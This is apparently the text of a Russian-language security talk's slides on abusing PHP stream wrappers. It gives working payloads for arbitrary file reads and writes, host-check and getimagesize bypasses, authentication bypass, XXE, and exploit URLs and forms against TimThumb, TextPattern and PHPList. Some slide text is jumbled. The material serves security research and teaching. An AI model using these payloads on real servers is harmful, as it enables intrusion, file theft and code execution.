  • 3. Чтение данных. Wrappers $handle = fopen($file, "rb"); while (!feof($handle)) { $contents .= fread($handle, 8192); } fclose($handle); Можно получать данные, не только из локальных файлов! $file = 'ftp://user:password@10.0.0.1/pub/file.txt'; $file = „http://127.0.0.1/server-status‟; $file = „php://fd/XXX‟; $file = „expect://ls‟;
  • 4. Запись данных. Чтение файлов. copy ('/etc/passwd' , 'php://output'); file_put_contents(„php://output', file_get_contents('/etc/hosts')); Преобразовываем файл, перед записью на диск. move_uploaded_file($_FILES[“attach”]["tmp_name"], “php://filter/string.rot13/resource=./upload/user_attach”); Записываем данные в Apache error_log (PHP >= 5.3.6) error_log („Bypass root perm!‟, 3, „php://fd/2‟);
  • 5. Wrapper zip:// Требования: PHP скомпилирован с поддержкой zip. Обертку zip:// можно использовать при allow_url_fopen = Off. Враппер zip://, позволяет получить доступ к файлам внутри архива, имя архива может быть произвольным. $zip = new ZipArchive; if ($zip->open('/tmp/any_name_zip_arxiv',1) ) { $zip->addFromString( '/my/header.html', '<?php print_r(ini_get_all());„ ); } $zip->close(); print file_get_contents('zip:///tmp/any_name_zip_arxiv#/my/header.html');
  • 6. Замена NULL байта. $s = $_POST[„path‟]; include $s.‟/header.html‟; Использование врапперов: http:// ftp:// data:// ограничивается директивой allow_url_include. Использование NULL байта, при инклюде локальных файлов, ограничивается директивой magic_quotes_gpc. Если есть возможность создать zip-архив, можно использовать обертку zip:// path=zip:///tmp/any_name_zip_arxiv#/my Этот подход даст результат при allow_url_fopen=Off и при magic_quotes_gpc = On Имя архива может быть произвольным, это дает возможность использовать временные файлы, которые создаются, при загрузке контента. Путь до временного файла можно узнать из phpinfo(): https://rdot.org/forum/showthread.php?t=1134
  • 7. Wrapper data:// (RFC 2397) Согласно RFC 2379 обертка data:// допускает более развернутый синтаксис: dataurl := "data:" [ mediatype ] [ ";base64" ] "," data mediatype := [ type "/" subtype ] *( ";" parameter ) data := *urlchar parameter := attribute "=" value Особенность враппера: mediatype может либо полностью отсутствовать, либо быть заполнен произвольными значениями: data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64
  • 8. Trick: function stream_get_meta_data Манипулирование элементами массива, возвращаемого stream_get_meta_data $password = 'secret'; $file = $_POST['file']; $fp = fopen( $file, 'r'); extract(stream_get_meta_data($fp)); if ( $mediatype === 'text/plain') { ... } if ( $_COOKIE['admin'] === $password) { ... } Перезаписываем переменную $password POST DATA: file=data://text/plain;password=mysecret;base64, Обходим авторизацию: Cookie: admin=mysecret
  • 9. Враппер compress.zlib:// применение compress.zlib://, не изменяет содержимое обычных файлов readfile('compress.zlib:///etc/hosts'); в пути до локального файла, могут быть указаны, не существующие каталоги $url = 'compress.zlib:///http://../etc/hosts'; if (preg_match('/http:///', $url) == true) { echo "Yes!"; }
  • 10. Any Data in parse_url Функция parse_url, может обрабатывать не только URL, но и строки довольно общего вида. $url_info = parse_url($_POST[„src‟]); if ($url_info['host'] === 'img.youtube.com') { $name = str_replace('/', '', substr($url_info['path'], 4)); copy( $src, './'.$name ); } Загрузка изображений с img.youtube.com: POST DATA: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg Обход проверки на имя хоста, и создание произвольных файлов: POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo Копирование локальных файлов: POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;
  • 11. Bypass preg_match validate Обход фильтра на основе preg_match POST DATA: src=data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo POST DATA: src=compress.zlib://youtube.com/../http://?/../../path/to/local/file function validate_url ($url) { $pattern = "/b(?:(?:https?)://|www.)[-a-z0-9+&@#/%?=~_|!:,.;]*[-a-z0-9+&@#/%=~_|]/i"; return preg_match ($pattern, $url); } $src = $_POST['src']; if (!validate_url ($src)) display_error ('invalid url');
  • 12. Загрузка произвольных файлов в TimThumb TimThumb – популярный скрипт для ресайза изображений. Public Exploit for v 1.32 (08/2011): http://www.exploit-db.com/exploits/17602 New Wrappers Exploit for v1.34 (revision 145) function check_external ($src) { ………………… if (!validate_url ($src)) display_error ('invalid url'); $url_info = parse_url ($src); ................... if ($url_info['host'] == 'www.youtube.com' || …) parse_str($url_info['query']); .................. $fh = fopen($local_filepath, „w‟); $ch = curl_init($src); ………………….. $files_infos = getimagesize ($local_filepath); if (empty($file_infos[„mime‟]) || …..) unlink($local_filepath); ……………………………… http://www.youtube.com/?local_filepath=php://filter/resource%3D./path/to/.php &url_info[host]=img.youtube.com&src=http://mysite.com/thumb.txt
  • 13. Манипуляции с файлами в TimThumb v1.35 Требования: Функция curl_init отключена на атакуемом сервере. ………………… if (!$img = file_get_contents ($src)) { display_error ('error....'); } if (file_put_contents ($local_filepath, $img) == FALSE) { display_error ('error.....'); } ………………… Создание файлов с произвольным содержимым: data://img.youtube.com/e;charset=http://w?&var=;base64,SSBsb3ZIIFBIUAo «Чтение» локальных файлов: compress.zlib://youtube.com/../http://?/../../path/to/local/file
  • 14. Скрытый потенциал враппера php://filter php://filter – позволяет применять фильтры к потоку во время открытия. Обрабатываем содержимое файла фильтрами: readfile('php://filter/read=string.toupper|anyfilter|string.rot13/resource=./file.php'); Использование неопределенного фильтра, не влияет на обработку данных другими фильтрами. Фильтры convert.base64-decode и string.strip_tags могут удалить часть данных из потока. В 2009 году Стефан Эссер использовал особенность фильтра convert.base64-decode в эксплойте для Piwik: http://sektioneins.de/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability С 2009 года остались не раскрыты два важных вопроса: Каким образом уничтожать «ненужные» данные? Какие возможности дает применения фильтров?
  • 15. Алгоритм Base64: кодирование Алгоритм Base64 описан в RFC 2045 раздел 6.8. Алфавит Base64: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
  • 16. Алгоритм Base64: декодирование. При декодировании, во входящей строке символы не из алфавита Base64 игнорируются. Входящая строка разбивается на части по 4 символа, каждая часть обрабатывается отдельно.
  • 17. Пример "выдавливания" стопера. Применяя base64_decode к строке несколько раз, можно удалить часть данных. $content = "; <? die; ?>n"; $content .= "[/Ly8vVTFOQ1RXSXpXbXhKUmtKSlZVRTlQUT09]n"; $file = 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode /resource=./PoC'; file_put_contents($file, $content); “Заглушка”: /Ly8v ( base64_decode('Ly8v') == '///‟ ) Фильтр convert.base64-decode не обрабатывает строки содержащие в середине знаки равенства. $s = 'php://filter/read=convert.base64-decode/resource=data:,dGVzdA==CRAP'; var_dump(file_get_contents($s)); // print: string(0) ""
  • 18. Фильтр string.strip_tags Процесс "выдавливания" можно ускорить с помощью фильтра string.strip_tags $content = "; <? die; ?>n"; $content .= "=3C=3Fprint('PHP');n"; $file = 'php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=./PoC'; $quoted_printable_lt = $content); file_put_contents($file, '='.strtoupper(dechex(ord('<'))); // =3C Фильтр convert.quoted-printable-decode, обрабатывает строку посимвольно. Символы в формате Quoted-Printable ( RFC2045 раздел 6.7 ), преобразуются в символы 8 битной кодовой таблицы. Преобразование в формат Quoted-Printable. $quoted_printable_lt = '='.strtoupper(dechex(ord('<'))); Фильтр convert.quoted-printable-decode, не даст ожидаемого результата, если в строке содержится знак равенства, после которого нет шестнацетиричного кода символа. $s = 'php://filter/read=convert.quoted-printable-decode/resource=data:,dGVz=CRAP'; var_dump(file_get_contents($s)); // print: string(0) ""
  • 19. TextPattern: Upload Arbitrary Files (I) Данные об авторах комментариев сохраняются в файл с расширением .php $file = $prefs['tempdir'].DS.'evaluator_trace.php'; if (!file_exists($file)) { $fp = fopen($file, 'wb'); if ($fp) fwrite($fp, "<?php return; ?>n". "This trace-file tracks saved comments. (created ". Пп safe_strftime($prefs['archive_dateformat'],time()).")n". "Format is: Type; Probability; Message “ . “(Type can be -1 => spam, 0 => moderate, 1 => visible)nn");
  • 21. Обход проверки getimagesize (I) С помощью фильтров можно удалять не только “стоперы”, например можно модифицировать содержимое изображения, после того как оно прошло проверку на основе функции getimagesize. Если в EXIF изображения внедрить данные
  • 22. Обход проверки getimagesize (II) extract($_REQUEST); ….. include $templatedir.'/header.html'; ..... if (!empty($_FILES) ) { $file_info = getimagesize($_FILES['image']['tmp_name']); if($file_info['mime'] == 'image/jpeg') { if ( move_uploaded_file( $_FILES['image']['tmp_name'], $folder.'/avatar.jpg') ) ...... Загружаем изображение, но на сервере сохраняется zip-архив, содержащий файл /my/header.html folder=php://filter/write=string.strip_tags|convert.base64-decode/resource=/tmp/ Инклюдим файл внутри zip-архива templatedir=zip:///tmp/avatar.jpg#/my
  • 23. Файлы с произвольным содержимым Создание файлов с произвольным содержимым дает возможность: создать файл сессии и реализовать unserialize bug через session_start() создать zip архив и проэксплуатировать RFI cоздать/перезаписать файлы htaccess/htpasswd создать или перезапись шаблоны.
  • 24. parse_ini_file atack Функция parse_ini_file обрабатывает только локальные файлы. session_start(); $_SESSION['admin'] = $_POST['name']; ....... $var = parse_ini_file($inifile); require $var['require']; Создаем файл сессии /tmp/sess_dffdsdf24gssdgsd90 admin|s:68:"Ly8vVnpOYWFHTnNNRXRqYlZaNFpGZHNlVnBVTUdsTU1sWXdXWGs1YjJJelRqQmplVWs5" Используя фильтры преобразуем файл сессии в формат, доступный функции parse_ini_file php://filter/read=convert.base64-decode|convert.base64-decode| convert.base64-decode/resource= /tmp/sess_dffdsdf24gssdgsd90
  • 25. XXE Atack Чтение файлов за счет внедрения внешней сущности в XML. <?xml version='1.0'?> <!DOCTYPE scan [ <!ENTITY test SYSTEM "php://filter/read=convert.base64- encode/resource=http://127.0.0.1/server-status"> ]> <scan>&test;</scan> Функция simplexml_load_file и метод DOMDocument::load поддерживают врапперы.
  • 26. Частичное чтение файлов в PHPList <= 2.10.13 (I) Причиной уязвимости, является возможность изменять структуру массива $_FILES http://isisblogs.poly.edu/2011/08/11/php-not-properly-checking-params/ if (is_array($_FILES)) { ## only avatars are files foreach ($_FILES['attribute']['name'] as $key => $val) { if (!empty($_FILES['attribute']['name'][$key])) { $tmpnam = $_FILES['attribute']['tmp_name'][$key]; $size = $_FILES['attribute']['size'][$key]; if ($size < MAX_AVATAR_SIZE) { $avatar = file_get_contents($tmpnam); Sql_Query(sprintf('replace into %s (userid,attributeid,value) values(%d,%d,"%s")',$tables["user_attribute"],$id,$key,base64_encode($avatar))); С помощью следующей HTML формы возможно загружать файлы в базу данных. <form action="http://localhost/lists/admin/?page=user&id=1" method="POST” enctype="multipart/form-data" > <input type="file" name="attribute[tmp_name]["> <input type="file" name="attribute[size]["> <input type="file" name="attribute[[tmp_name]"> <input type="file" name="attribute[name]["> <input name="change" value="Save Changes" type="submit"> </form>
  • 27. Частичное чтение файлов в PHPList <= 2.10.13 (II)
  • 28. Ограничения использования врапперов. При установленном Suhosin-е, по умолчанию невозможно использовать врапперы в инклюдах. (даже при allow_url_include = On). Например, обертка zip:// становиться доступной, только после добавления в whitelist: suhosin.executor.include.whitelist = “zip” Функции file_exists, is_file, filesize возвращают FALSE, если в качестве имени файла используются врапперы: php://filter, zip://, data://.